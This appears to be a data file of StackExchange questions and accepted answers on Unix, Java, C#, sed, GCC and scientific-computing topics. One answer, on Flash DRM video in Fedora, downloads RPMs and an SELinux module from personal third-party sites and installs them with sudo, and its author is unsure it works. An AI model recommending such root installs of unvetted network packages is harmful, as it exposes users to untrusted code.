"tags": "java;multithreading;concurrency;producer consumer"  } 
{  "id": "_cstheory.170"  , "question": "The exact phrasing of the title is due to Anand Kulkarni (who proposed this site be created). This question was asked as an example question, but Im insanely curious. I know very little about algebraic geometry, and in fact also only have a cursory, undergraduate understanding of the obstacles at play in the P/poly versus NP question (non-relativizing, non-algebrazing, likely wont be a natural proof).What makes algebraic geometry seem like it can bypass these sorts of obstacles? Is it just field expert intuition or do we have a really good reason to believe the approach is fundamentally more powerful than previous approachs? What weaker results have this approach been able to achieve?"  , "title": "How does the Mulmuley-Sohoni geometric approach to producing lower bounds avoid producing natural proofs (in the Razborov-Rudich sense)?"  , "tags": "cc.complexity theory;np hardness;lower bounds;gct;barriers"  , "accepted_answer": "[I'll answer the question as stated in the title, leaving the litany of other questions about GCT for other threads.] Proving the conjectures arising in GCT seems like it will crucially use the fact that the functions under consideration (determinant and permanent, and other related polynomials for P/poly and NP) are characterized by their symmetries.  This necessity is not a formal result, but an intuition expressed by several experts.  (Basically that in the absence of characterization by symmetries, understanding the algebraic geometry and representation theory that arises is far harder.)This should bypass Razborov-Rudich because very few functions are characterized by their symmetries (bypassing the largeness condition in the definition of natural proofs).  Again, I have not seen a proof of this, but it is an intuition I have heard expressed by several experts.Now, over the complex numbers, it's not clear to me that there's an analog of Razborov-Rudich.  Although most of GCT currently focuses on the complex numbers, there are analogs in the finite characteristic (promised in the forthcoming paper GCT VIII).  In finite characteristic, one might actually be able to prove a statement of the form Very few functions are characterized by their symmetries.[In response to Ross Snider's comment, here's an explanation of characterization by symmetries.]First, an explanation-by-example.  For the example, define an auxiliary function $q$.  If $A$ is a permutation matrix, then $q(A)=1$ and if $A$ is diagonal, then $q(A)=det(A)$ (product of the diagonal entries).  Now, suppose $p(X)$ is a homogeneous degree $n$ polynomial in $n^2$ variables (that we think of as the entires of an $n \\times n$ matrix $X$).  If $p$ has the following symmetries:$p(X) = p(X^t)$ (transpose)$p(AXB) = p(X)$ for all pairs of matrices $(A,B)$ such that $A$ and $B$ are each either permutation matrices or diagonal matrices and $q(A)q(B) = 1$then $p(X)$ is a constant multiple of $perm(X)$ for all matrices $X$.  Hence we say the permanent is characterized by its symmetries.More generally, if we have a (homogeneous) polynomial $f(x_1, ..., x_m)$ in $m$ variables, then $GL_m$ (the group of all invertible $m \\times m$ matrices) acts on $f$ by $(Af)(x_1,...,x_m) = f(A^{-1}(x_1),...,A^{-1}(x_{m}))$ for $A \\in GL_m$ (where we are taking the variables $x_1,...,x_m$ as a basis for the $m$-dimensional vector space on which $GL_m$ naturally acts).  The stabilizer of $f$ in $GL_m$ is the subgroup $\\text{Stab}(f) = \\{ A \\in GL_m : Af = f\\}$.  We say $f$ is characterized by its symmetries if the following holds: for any homogeneous polynomial $f'$ in $m$ variables of the same degree as $f$, if $Af' = f'$ for all $A \\in \\text{Stab}(f)$, then $f'$ is a constant multiple of $f$."  } 
{  "id": "_softwareengineering.51553"  , "question": "To start an open-source project is not just to throw up the source code on some public repository and then being happy with that. You should have technical (besides user) documentation, information on how to contribute etc.If creating a checklist over important things to do, what would you include on it?"  , "title": "Checklist for starting an open-source project"  , "tags": "open source"  , "accepted_answer": "The most important thing is:use the project yourself and get it into a useful state where you enjoy using it. be sure the project works and is useful.Things I'd put in the early priorities are:have a simple what is it? web site with links to some discussion forum (whether email or chat) and to the source code repositorybe sure the code compiles and usually works, don't commit work-in-progress or half-ass patches on the main branch that break things, because then other people's work would be disruptedput a license file in the code repository with a well-known license, and mark the copyright owner (probably you, or your company). don't omit the license, make up a license, or use an obscure license.have instructions for how to contribute, say in a HACKING file or include in your README. This should include where to send patches, how to format patches, code indentation rules, any other important conventions of the projecthave instructions on how to report a bugbe helpful on the mailing list or whatever your forums areAfter those priorities I'd say:documentation (this saves you work on the mailing list... make a FAQ from your list posts is a simple start)try to do things in a normal way (don't invent your own build system or use some weird one, don't use 1-space indentation, don't be annoyingly quirky in general because it adds learning curve)promote your project. marketing marketing marketing. You need some blogs and news sites and stuff like that to cover you, and then when people show up interested, you need to talk to them and be sure they get it working and look at their patches. Maybe mention your project in the forums for related projects.always review and accept patches as quickly as humanly possible. Immediately is perfect. More than a couple days and you are losing lots of people.always reply to email about the project as quickly as humanly possible.create a welcoming/positive/fun atmosphere. don't be a jerk. say please and thank you and hand out praise. chase off any jackasses that turn up and start to poison the community. try to meet people in person when you can and form bonds."  } 
{  "id": "_unix.83496"  , "question": "What I've tried:root@host [/home1]# cp -f hello /home3cp: omitting directory `hello'root@host [/home1]# cp -rf hello /home3cp: overwrite `/home3/hello/.buildpath'? ycp: overwrite `/home3/hello/.bash_logout'? ycp: overwrite `/home3/hello/.project'? ^CThey always ask me whether I want to overwrite. Using mv doesn't work either. So what should I do?Other things I tried:root@host [/home1]# cp -rf hello /home3cp: overwrite `/home3/hello/.buildpath'? ycp: overwrite `/home3/hello/.bash_logout'? ycp: overwrite `/home3/hello/.project'? ^Croot@host [/home1]# cp -force hello /home3cp: invalid option -- 'o'Try `cp --help' for more information.root@host [/home1]# cp --remove-destination hello /home4cp: omitting directory `hello'root@host [/home1]# cp --remove-destination hello /home3cp: omitting directory `hello'root@host [/home1]# cp --remove-destination -r hello /home3cp: overwrite `/home3/hello/.buildpath'? ^Croot@host [/home1]#"  , "title": "How to copy or move files without being asked to overwrite?"  , "tags": "shell;alias;cp"  } 
{  "id": "_unix.92971"  , "question": "I use internet behind http proxy, and that requires authentication. I tried using polipo to bypass the authenticated proxy to 127.0.0.1:9134.Applying these settings to my browser, works fine for http://examplewebsite.combut for https://examplewebsite.com, it asks for authentication. Also my host proxy authentication does not work in the authentication dialog.Settings I have changed in my /etc/polipo/configproxyPort=9134parentProxy = 172.31.1.10:8080parentAuthCredentials = username:mypassword"  , "title": "HTTPS Authentication problem : Polipo"  , "tags": "networking;proxy;authentication;http proxy;htaccess"  } 
{  "id": "_codereview.29403"  , "question": "I have a manager class (included below) and sub data types that are included inside it. All of the different stored types are more or less the same with some wrapper functions calling the exact same named function below to the sub object. This feels dirty and I can't help but think there's a better way to do this. Suggestions?using System;using System.Collections.Generic;using System.Linq;using Inspire.Shared.Models.Enums;using Lidgren.Network;namespace GameServer.Editor.ContentLocking{    /// <summary>    /// The content lock manager helps provide delegation    /// </summary>    public class ContentLockManager    {        // This is a mapping of all the different content lock stores available        Dictionary<ContentType, ContentLockStore> _contentLockStores = new Dictionary<ContentType, ContentLockStore>();        public ContentLockManager()        {            // Generate the ContentMap dynamically, assinging everyone a backing            foreach (var contentType in GetValues<ContentType>())                _contentLockStores.Add(contentType, new ContentLockStore());        }        /// <summary>        /// Invalidates and purges all locks for a given connection.        /// This is typically called when a connection has disconnected from the node.        /// </summary>        /// <param name=connection></param>        public void PurgeLocks(NetConnection connection)        {            foreach (var contentLockStore in _contentLockStores.Values)            {                contentLockStore.ReleaseLocks(connection);            }        }        public List<int> GetLockedContent(ContentType contentType)        {            var contentStore = _contentLockStores[contentType];            return contentStore.GetLockedContentIDs();        }        public bool HasLock(NetConnection connection, int ID, ContentType contentType)        {            var contentStore = _contentLockStores[contentType];            return contentStore.HasLock(connection, ID);        }        public bool AnyoneHasLock(NetConnection connection, int ID, ContentType contentType)        {            var contentStore = _contentLockStores[contentType];            return contentStore.AnyoneHasLock(connection, ID);        }        public bool TryAcquireLock(NetConnection connection, int ID, ContentType contentType)        {            var contentStore = _contentLockStores[contentType];            return contentStore.TryAcquireLock(connection, ID);        }        public bool TryReleaseLock(NetConnection connection, int ID, ContentType contentType)        {            var contentStore = _contentLockStores[contentType];            return contentStore.ReleaseLock(connection, ID);        }        private static IEnumerable<T> GetValues<T>()        {            return Enum.GetValues(typeof(T)).Cast<T>();        }    }}And then I have a mapping inside like so:using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks;using Lidgren.Network;namespace GameServer.Editor.ContentLocking{    /// <summary>    /// A collection of keys internally of content that has been locked    /// </summary>    public class ContentLockStore    {        // Current locks on a particular piece of content        private Dictionary<int, NetConnection> _contentLocks = new Dictionary<int, NetConnection>();         public bool TryAcquireLock(NetConnection connection, int ID)        {            // Trying to aqquire a lock for something you already have or you're not authorized to obtain            if (_contentLocks.ContainsKey(ID))                return false;            // Noone has taken it - go ahead and grab this            _contentLocks.Add(ID, connection);            return true;        }        /// <summary>        /// Release sall locks with an associated contention        /// </summary>        /// <param name=connection></param>        public void ReleaseLocks(NetConnection connection)        {            var keys = _contentLocks.Where(cLock => cLock.Value == connection).ToList();            keys.ForEach(x => ReleaseLock(x.Value, x.Key));        }        public bool ReleaseLock(NetConnection connection, int ID)        {            // If they don't have a lock, they can't release it            if (!HasLock(connection, ID))                return false;            // Release the lock            _contentLocks.Remove(ID);            return true;        }        /// <summary>        /// Returns a list of all the locked content IDs for a particular store        /// </summary>        /// <returns></returns>        public List<int> GetLockedContentIDs()        {            return _contentLocks.Keys.ToList();        }        /// <summary>        /// Determines whether a particular connection has a lock on a piece of content        /// </summary>        /// <param name=connection></param>        /// <param name=ID></param>        /// <returns></returns>        public bool HasLock(NetConnection connection, int ID)        {            // If the key dosen't even exist, don't bother            if (!_contentLocks.ContainsKey(ID))                return false;            return _contentLocks[ID] == connection;        }        public bool AnyoneHasLock(NetConnection connection, int ID)        {            return _contentLocks.ContainsKey(ID);        }    }}"  , "title": "How can I avoid seemingly unneccessary wrappers like this?"  , "tags": "c#"  } 
{  "id": "_unix.114210"  , "question": "For people from the US with certain cable TV subscriptions, NBC offers footage of the 2014 winter Olympics from a website, nbcolympics.com.  However, I find I am unable to view any of the video content from my Linux machine.  I have tried from Chrome and Firefox.Chrome:When clicking on a video, I am taken to the webpage of the video and all of the non-video content (e.g. the twitter stream, the summary of the video) loads.  However, the page is covered in a dark transparent overlay and a waiting spinner continuously spins.  I cannot click on anything from the web page.Firefox:When clicking on a video, I am taken to the webpage of the video and all of the non-video content loads.  The page is also covered with a dark, transparent overlay, but this time with a window in the middle to choose my cable provider.  When I select my cable provider, xfinity, the page re-loads and the same screen appears again, with the same transparent overlay and the same dialog asking for my cable provider.Here is a screenshot of the Firefox window: I am using Fedora 19 and do not generally have problems viewing other flash content.Is there any method to watching the videos on nbcolympics.com from a Linux computer?"  , "title": "How do I watch protected flash videos (such as on nbcolympics.com) using Linux?"  , "tags": "video;firefox;chrome;adobe flash"  , "accepted_answer": "For Fedora, try this.DISCLAIMER: This is mostly copy-pasted from here.I'm not really sure if this will work (I don't use Fedora), but it will help you install HAL, and maybe it will. After all, NBC would seem an appropriate place for DRM-laden Flash content to show up. Anyway, here goes:First, head to http://get.adobe.com/flashplayer/ and download the YUM for Linux (YUM) RPM. Then:# Install Adobe Flash and its browser pluginsudo yum install -y adobe-release-x86_64-1.0-1.noarch.rpmsudo yum install -y flash-plugin# Install a simple SELinux policy file for Flashsudo yum install -y policycoreutils-develwget http://togami.com/~warren/archive/2012/adobedrm.techeckmodule -M -m -o adobedrm.mod adobedrm.tesudo semodule_package -o adobedrm.pp -m adobedrm.modwget http://thinkingconcurrently.com/files/f19_flash/fakehal-0.5.14-7.fc19.x86_64.rpmwget http://thinkingconcurrently.com/files/f19_flash/fakehal-libs-0.5.14-7.fc19.x86_64.rpm# Install the fakehal RPMssudo yum install -y fakehal-0.5.14-7.fc19.x86_64.rpm \\  fakehal-libs-0.5.14-7.fc19.x86_64.rpmAt this point, make sure all Firefox windows are closed.cd ~/.adobe/Flash_Playerrm -rf NativeCache AssetCache APSPrivateData2Note: I inserted the above 2 lines based on what unqualified said.rm -rf ~/.adobe/Flash_Player/sudo mkdir -p /usr/share/hal/fdi/preprobe \\  /usr/share/hal/fdi/information \\  /usr/share/hal/fdi/policy/20thirdparty \\  /var/cache/hald/sudo ln -s /usr/share/hal /etc/halsudo touch /var/cache/hald/fdi-cachesudo systemctl start haldaemon.serviceThe bit I'm unsure about is the line where it deletes the FlashPlayer dir. I would wait for someone to comment and confirm this or reject it before trying it.I'd repeat, try this at your own risk. I'm not at all sure that this will work or even help.Anyway, hope you can watch!evamvid"  } 
{  "id": "_codereview.42862"  , "question": "After reading a lot of documents, I wrote this object pooling code. Can anyone help me to improve this code? I am lagging in validating the object, confirming whether I can reuse it or not./* * To change this template, choose Tools | Templates * and open the template in the editor. */package iaccount.ui;import java.util.Enumeration;import java.util.Hashtable;/** * * @author system016 */public class ObjectPool<T> {    private long expirationTime;    private Hashtable locked, unlocked;    ObjectPool() {        expirationTime = 30000; // 30 seconds        locked = new Hashtable();        unlocked = new Hashtable();    }//   abstract     public Object create(Class<T> clazz) throws InstantiationException, IllegalAccessException {        Object obj = clazz.newInstance();        unlocked.put(clazz.newInstance(), expirationTime);        return obj;    }    ;//   abstract boolean validate( Object o );//   abstract void expire( Object o );    synchronized Object checkOut(Class<T> clazz) {        long now = System.currentTimeMillis();        Object o = null;        if (unlocked.size() > 0) {            Enumeration e = unlocked.keys();            while (e.hasMoreElements()) {                o = e.nextElement();                if ((clazz.isAssignableFrom(o.getClass()))) {//                }                    if ((now - ((Long) unlocked.get(o)).longValue())                            > expirationTime) {                        // object has expired                        unlocked.remove(o);//                        expire(o);                        o = null;                    } else {//                        if (validate(o)) {                            unlocked.remove(o);                            locked.put(o, new Long(now));                            return (o);//                        } else {//                            // object failed validation//                            unlocked.remove(o);////                            expire(o);//                            o = null;//                        }                    }                }            }        }        return o;    }//    public boolean validate(Object o){return true;};}//   synchronized void checkIn( Object o ){...}"  , "title": "Reusing objects using a generic object pool"  , "tags": "java;beginner;synchronization"  } 
{  "id": "_unix.10378"  , "question": "Heres the closest I've gotten: I installed gitolite in the /Private folder using ecryptfs-utils  (sudo apt-get install ecryptfs-utils adduser git ecryptfs-setup-private then the rest was configuring gitolite using a root install).It worked just fine as long as someone was logged in as the user git using a password (su git using root does not work). Since the private folder activates through logging in with a password and gitolite uses RSA keys (required) the private folder is hidden thus error occurs.Is there a way I can log into my server after a reboot, type in the password and have the git user private folder available until next time the machine restarts?Or maybe theres an easy way to encrypt a folder for git repositories?"  , "title": "How do I encrypt git on my server?"  , "tags": "security;git"  , "accepted_answer": "You simply need to remove the file ~/.ecryptfs/auto-umount.This file is a flag that pam_ecryptfs checks on logout.  This file exists by default at setup, along with ~/.ecryptfs/auto-mount, such that your private directory is automatically mounted and unmounted at login/logout.  But each can be removed independently to change that behavior.  Enjoy!"  } 
{  "id": "_unix.362441"  , "question": "Preface: Every couple of days there comes a question of this type, which is easy to solve with sed, but takes time to explain. I'm writing this question and answer, so I can later refer to this generic solution and only explain the adaption for the specific case. Feel free to contribute.I have files with variable definitions. Variables consist of uppercase letters or underscore _ and their values follow after the :=. The values can contain other variables. This is Gnom.def:NAME:=GnomFULL_NAME:=$FIRST_NAME $NAMEFIRST_NAME:=SmanSTREET:=Mainstreet 42TOWN:=NowhereBIRTHDAY:=May 1st, 1999Then there is another file form.txt with a template form:$NAMEFull name: $FULL_NAMEAddress: $STREET in $TOWNBirthday: $BIRTHDAYDon't be confused by $NAMESNow I want a script which replaces the variables (marked with $ and the identifier) in the form by the definitions in the other file, recursively, if necessary, so I get this text back:GnomFull name: Sman GnomAddress: Mainstreet 42 in NowhereBirthday: May 1st, 1999Don't be confused by $NAMESThe last line is to ensure that no substrings of variables get replaced accidentally."  , "title": "How to perform replacements defined in one file on another file"  , "tags": "text processing;sed"  , "accepted_answer": "The basic idea to solve problems like this is to pass both files to sed. First the definitions, which are stored in the hold space of sed. Then each line of the other file gets the hold space appended and each occurrence of a variable which can be found repeated in the appended definitions gets replaced.Here is the script:sed '/^[A-Z_]*:=.*/{H;d;}  G :b s/$\\([A-Z_]*\\)\\([^A-Z_].*\\n\\)\\1:=\\([^[:cntrl:]]*\\)/\\3\\2\\1:=\\3/ tb P d' Gnom.def form.txtAnd now the detailed explanation:/^[A-Z_]*:=.*/{H;d;}This collects the definitions to the hold space. /^[A-Z_]*:=.*/ selects all lines starting with a variable name and the sequence :=. On these lines the commands in {} are performed: The H appends them to the hold space, the d deletes them and starts over, so they won't get printed.If you can't assure that all lines in the definition file follow this pattern, or if lines in the other file could match the given pattern, this part needs to be adapted, like explained later.GAt this point of the script, only lines from the second file are processed. The G appends the hold space to pattern space, so we have the line to be processed with all definitions in the pattern space, separated by newlines.:bThis starts a loop. s/$\\([A-Z_]*\\)\\([^A-Z_].*\\n\\)\\1:=\\([^[:cntrl:]]*\\)/\\3\\2\\1:=\\3/This is the key part, the replacement. Right now we have something likeAt the $FOO<newline><newline>FOO:=bar<newline>BAR:=baz       ----==================---  ###in the pattern space. (Detail: there are two newlines before the first definition, one produced by appending to the hold space, another by appending to the buffer space.)The part underlined with ---- matches $\\([A-Z_]*\\). The \\(\\) makes it possible to backreference to that string later on.\\([^A-Z_].*\\n\\) matches the part underlined with ===, which is everything up to the backreference \\1. Starting with a not-variable character ensures we don't match substrings of a variable. Surrounding the backreference with a newline and := makes sure that a substring of a definition will not match.Finally, \\([^[:cntrl:]]*\\) matches the ### part, which is the definition. Note, that we assume the definition has no control characters. If this should be possible, you can use [^\\n] with GNU sed or do a workaround for POSIX sed.Now the $ and the variable name get replaced by the variable value \\3, the middle part \\2 if left as it was and the definition line is reconstructed as \\1:=\\3. tbIf a replacement has been made, the t command loops to mark b and tries another replacement. PIf no further replacements were possible, the uppercase P prints everything unto the first newline (thus, the definition section will not get printed and dwill delete the pattern space and start the next cycle. Done.LimitationsYou can do a nasty thing like including FOO:=$BAR and BAR:=$FOO in the definition file and make the script loop forever. You can define a processing order to avoid this, but is will make the script more difficult to understand. Leave this away, if your script doesn't need to be idiot proof.If the definition can contain control characters, after the G, we can exchange newline with another character like y/\\n#/#\\n and repeat this before printing. I don't know a better workaround.If the definition file can contain lines with different format or the other file can contain lines with definition format, we need a unique separator between both files, either as last line of the definition file or as first line of the other file or as separate file you pass to sed between the other files. Then you have one loop to collect the definitions until the separator line is met, then do a loop for the lines of the other file."  } 
{  "id": "_unix.71964"  , "question": "When I tried to sudo su instead of sudo su - after having been logged in as root and su-ing to another user, it tries to sudo me as the new user, but via root... When I type env, it shows still username=root in the environment. Is sudo not looking at the currently logged in user, but at the enviroment parameters? [oracle@tst-01]$ sudo su gridSorry, user oracle is not allowed to execute '/bin/su grid' as root on tst-01.testdomain.com.[oracle@tst-01]$ envHOSTNAME=tst-01.testdomain.comTERM=xtermSHELL=/bin/bashHISTSIZE=1000QTDIR=/usr/lib64/qt-3.3USER=oracleSUDO_USER=ujjainUSERNAME=rootMAIL=/var/spool/mail/ujjainPATH=/usr/lib/oracle/10.2.0.4/client64/bin:/usr/lib/oracle/10.2.0.4/client64/bin:/sbin:/bin:/usr/sbin:/usr/binPWD=/home/ujjainLANG=en_US.utf8HOME=/opt/apps/oracleSUDO_COMMAND=/bin/suSHLVL=2LOGNAME=oracleCVS_RSH=sshLESSOPEN=|/usr/bin/lesspipe.sh %sSUDO_GID=3000ORACLE_HOME=/usr/lib/oracle/10.2.0.4/client64G_BROKEN_FILENAMES=1_=/bin/env[oracle@tst-01 ujjain]$ sudo su - grid[grid@tst-01 ~]$ It seems that sudo su newuser should also work if sudo would only be looking if the currently logged in user has sudo rights to sudo to the new user. What is sudo su doing and why is it important for non-root users to use sudo su - newuser with the hyphen?"  , "title": "Where does sudo get the currently logged in username from?"  , "tags": "sudo;su"  , "accepted_answer": "In su - username, the hyphen means that the user's environment is replicated, i.e. the default shell and working directory are read from /etc/passwd, and any login config files for the user (e.g. ~/.profile) are sourced.  In short, you pretty much get the same environment as if you logged in normally.  (Though the new user may not own the terminal, causing programs like screen to fail.) Not using the hyphen, will cause you to more or less keep the environment of the user that invoked su, including leaving you in the same working directory, where you may not have permissions.  su won't ask for a password if the root user invoked it, so if you first have used sudo (or su) to become root, you won't need a password to become any other user."  } 
{  "id": "_unix.105734"  , "question": "I have an Epson Perfection 660 flatbed scanner that works on my laptop. This is what appears in /var/log/syslog when I plug it in:Dec 18 15:43:57 lap kernel: [  31.868278] usb 6-2: new full-speed USB device number 2 using uhci_hcdDec 18 15:43:57 lap kernel: [  32.033506] usb 6-2: New USB device found, idVendor=04b8, idProduct=0114Dec 18 15:43:57 lap kernel: [  32.033514] usb 6-2: New USB device strings: Mfr=1, Product=2, SerialNumber=0Dec 18 15:43:57 lap kernel: [  32.033519] usb 6-2: Product: EPSON ScannerDec 18 15:43:57 lap kernel: [  32.033524] usb 6-2: Manufacturer: EPSONNow I want to use that scanner in my desktop computer. I followed the same instructions, but it does not work. The problem is that it's not recognized as a valid USB device. It does not appear on lsusb, and this is what shows in syslog:Dec 18 15:31:34 desktop kernel: [  390.193219] usb 3-14: new full-speed USB device number 18 using xhci_hcdDec 18 15:31:39 desktop kernel: [  395.213900] usb 3-14: unable to read config index 0 descriptor/start: -110Dec 18 15:31:39 desktop kernel: [  395.213902] usb 3-14: can't read configurations, error -110Dec 18 15:31:39 desktop kernel: [  395.325902] usb 3-14: new full-speed USB device number 19 using xhci_hcdDec 18 15:31:44 desktop kernel: [  400.346570] usb 3-14: unable to read config index 0 descriptor/start: -110Dec 18 15:31:44 desktop kernel: [  400.346572] usb 3-14: can't read configurations, error -110Dec 18 15:31:45 desktop kernel: [  400.458648] usb 3-14: new full-speed USB device number 20 using xhci_hcdDec 18 15:31:50 desktop kernel: [  405.479280] usb 3-14: unable to read config index 0 descriptor/start: -110Dec 18 15:31:50 desktop kernel: [  405.479282] usb 3-14: can't read configurations, error -110Dec 18 15:31:50 desktop kernel: [  405.591352] usb 3-14: new full-speed USB device number 21 using xhci_hcdDec 18 15:31:55 desktop kernel: [  410.611960] usb 3-14: unable to read config index 0 descriptor/start: -110Dec 18 15:31:55 desktop kernel: [  410.611962] usb 3-14: can't read configurations, error -110Dec 18 15:31:55 desktop kernel: [  410.611973] hub 3-0:1.0: unable to enumerate USB device on port 14At first sight, looks like the laptop uses UHCI, whereas the desktop uses XHCI. Both systems use Linux Mint 16, kernel 3.11.0-12 x86_64. The behavior is the same regardless of the usb port used. What can I do?"  , "title": "Scanner works in laptop, not in desktop"  , "tags": "linux mint;usb;scanner"  } 
{  "id": "_unix.153551"  , "question": "I just installed CentOS 7 on a vServer to play around with.Usually I use Debian.Since I had good results, I want to use zswap. I enabled it by putting zswap.enabled=1 zswap.compressor=lz4 in the GRUB_CMDLINE_LINUX in  /etc/default/grubBut it falls back to using lzo, because the CentOS 7 Kernel doesn't have the lz4 module, it seems.Is there any way to add this module without recompiling the whole Kernel? How would this work? Great would be some way to automate it on kernel updates, but that's not that important. (I only install updates manually and without the lz4 and lz4_compress modules nothing breaks, zswap just falls back to lzo)I want to stay as close as possible to using the package manager. A yum upgradeshould still patch all fixed bugs."  , "title": "lz4 Kernel Module in CentOS without recompiling"  , "tags": "centos;kernel modules"  } 
{  "id": "_unix.32240"  , "question": "The default GCC package available in the Fedora 16 repositories is gcc-4.6. I need to install gcc-4.5 on my system.I downloaded the packages from the kijo repository, but when I try to install them it shows that a newer libstdc++4.6 is installed. If I try to uninstall libstdc++4.6 it tries to uninstall the system itself! (Almost every package in the system).  And it would not allow me install libstdc++4.5 along with libstdc++4.6.Is there a easy way that I can install gcc-4.5 on my system?"  , "title": "Installing GCC 4.5 on Fedora 16"  , "tags": "fedora;software installation;gcc"  , "accepted_answer": "Getting the build errors worked out is preferable, so I hope that works out for you.But it is possible to install alternate versions of gcc on Fedora.  Just not from packages -- you'll need the source, available from http://gcc.gnu.org/.  Look to download gcc-4.5.3.tar.gz from one of the download mirrors.The following is modeled after some info by Zhongliang Chen on installing gcc-4.3 on Fedora 15.Download and unpack the gcc source tarball.  Make sure your Fedora 16 has the packages necessary for building:yum install gcc mpfr-devel libmpc libmpc-devel glibc-develThen create a new, empty build directory and build gcc with a suffix of 45 -- you'll build compilers gcc45 and g++45 for example.  You might want a new, separate install directory like /usr/local/gcc45/$cd PATH_TO_BUILD_DIR$PATH_TO_SOURCE_DIR/configure --prefix=PATH_TO_INSTALL_DIR --program-suffix=45 --enable-languages=c,c++$make$sudo make install"  } 
{  "id": "_codereview.4729"  , "question": "I have classes representing gates (OR, XOR, AND etc) with the following method that is called whenever a property changes.Here is the XORGate code:public void computeOutput() {        if (this.input1 != null && this.input0 != null) {            if (this.input0.getValue() || this.input1.getValue()) {                if (this.input0.getValue() && this.input1.getValue()) {                    this.output.setValue(false);                }                else {                    this.output.setValue(true);                }            } else {                this.output.setValue(false);            }        }        else {            this.output.Value = false;        }    }It's horrible, but I can't think of a nicer way. It works as follows:If any of the inputs are null, treat the output as false. If any of the inputs are true BUT not all of the outputs are true (i.e just one is true), set the output to true. If BOTH input terminals are true, output is false. And finally, if none of the input is true, output is false.Very basic stuff."  , "title": "Ternary gate handling - more succinct way then a bunch of if statements"  , "tags": "java"  , "accepted_answer": "public void computeOutput() {    output.setValue(            (input1 == null || input0 == null)            ? false            : (input0.getValue() ^ input1.getValue()));}"  } 
{  "id": "_opensource.4254"  , "question": "Maybe I start with an example: I use currently SystemJS for Angular2 Applications, it is a great tool, works properly and free.As I see the contributors here and the work, what already has been done, I've thought: What kind of great job, but who pays for all this work? Sometimes I also try to help, but I've limited time and have to pay my everlasting bills.How can such of libraries can come into existence? The idea (which is already great) alone is not enough. Karma would not also be the real reason, I think.Why do these talented programmers invest amount of time of creating free libraries? What research has been done into why so many programmers invest their time in FLOSS projects?"  , "title": "What research explains why so many programmers invest time in creating free libraries?"  , "tags": "community"  , "accepted_answer": "Of course there is no single answer to this question. The motivation can change over time and over individuals but I will try to list a few common reasons.For ideological reasonsPeople who invented free software (RMS et al.) did it originally for very ideological reasons (all software should be free - that is, respect four fundamental freedoms) and this was motivation enough to start the GNU project. For reference, see this 1989 NYT's article and the original GNU manifesto.Because it's a free-time activityLots of people like to program so much that they do it even during their free time. When absolutely no financial benefit is to be expected from a software (either because you don't think it is worth much or because you don't want to spend time selling it), it can be seen as natural to share it as free software (it will help others and could even contribute to your own reputation).Because it's a jobMany companies profit directly or indirectly from free and open source software (RedHat but also Google, Facebook and Microsoft) and consequently pay people to contribute to it. The most famous person to be paid for writing free software full-time is probably Linus Torvalds but there are lots of examples of people whose job is to develop proprietary software part of the time and to contribute to open source part of the time.Github's founder and former CEO Tom Preston-Warner has a very good entry on his blog on why it pays for a company to have its employees contribute to open source software.If you want to dive more into motivation issues, here is an academic article talking about that."  } 
{  "id": "_webapps.6262"  , "question": "The Gmail sidebar displays the list of our labels (or some of them, according to settings). Next to every label name there is a number showing how many unread messages we have for that label.Is there a way to display also the total number of messages for each label?Example:[to answer] (0/36)[to do] (0/55)[waiting answer] (0/7)cooking (2/48)family (6/352)friends (1/1828)website (2/412)work (12/12801)"  , "title": "Is there a way to display the number of messages for any label in the Gmail label list?"  , "tags": "gmail;gmail labels"  , "accepted_answer": "There doesn't seem to be a way to do this currently.The best places to look for this feature to be implemented is one of the following:An official Gmail setting accessible via the settings page.A Gmail labs feature.A 3rd party Gmail gadget which can be added via the Add any gadget by URL Gmail lab.A Greasemonkey scirpt.The first two would require Google to implement the feature, which you could suggest here for it to be implemented in the official version, or you could suggest it here for it to be implemented as a lab. The last two could be implemented by anyone with the knowhow.I couldn't find anything that is already implemented by doing a simple Google search."  } 
{  "id": "_unix.21338"  , "question": "After reading this question, I was a little confused; it sounds like some daemon reacting by rebooting a system. Is that right? Is it a common occurrence in embedded *nixes?"  , "title": "What is a watchdog reset?"  , "tags": "kernel;embedded;watchdog"  , "accepted_answer": "Having a watchdog on an embedded system will dramatically improve the availability of the device.  Instead of waiting for the user to see that the device is frozen or broken, it will reset if the software fails to update at some interval.  Some examples:Linux System http://linux.die.net/man/8/watchdogVxWorks (RTOS) http://fixunix.com/vxworks/48664-about-vxworks-watchdog.htmlQNX Watchdog http://www.qnx.com/solutions/industries/netcom/ha.htmlThe device is designed in such a way that its state is saved somewhere periodically(like Juniper routers that run FreeBSD, Android phones, and dvrs that run linux).  So even if it is rebooted it should re-enter a working configuration."  } 
{  "id": "_unix.186524"  , "question": "What does top command in linux stand for ? Is it an abbreviation of something. If so what?I've tried to look around on wikipedia and its home page but there is not information about this."  , "title": "What does top command in linux stand for?"  , "tags": "top"  } 
{  "id": "_scicomp.7722"  , "question": "I have a Matrix<double> on a single core, the result of doing an MPI_Reduce. I want to do the Cholesky, so I need to distribute over multiple cores.  What's the easiest/most standard way of doing this in Elemental?  Do I need to MPI_Bcast it out to all nodes first, and then move it into a DistMatrix, or is there some way of doing something like:Matrix<double> A = doSomeStuff();DistMatrix<double, single-node> AdistSingle( A );DistMatrix<double> Adist(AdistSingle );or perhaps:Matrix<double> A = doSomeStuff();DistMatrix<double> Adist(A );"  , "title": "How to convert a Matrix to a DistMatrix in Elemental?"  , "tags": "linear algebra;parallel computing;grid"  , "accepted_answer": "DistMatrix<T,CIRC,CIRC> was recently created for exactly this situation and stores a fully copy of the matrix on a single process. If you have an $n \\times n$ Matrix<double> stored on the root process, you can distribute it as follows:// Construct an n x n matrix owned by process 0DistMatrix<double,CIRC,CIRC> ARoot( n, n );// Have the root process fill the local matrix of ARootif( commRank == 0 )    ARoot.Matrix() = A;// Redistribute ARoot into the standard matrix distribution// (via a scatter)DistMatrix<double> ADist( ARoot );Note that the DistMatrix<T,CIRC,CIRC> class is very new and that the syntax might be simplified in the near future."  } 
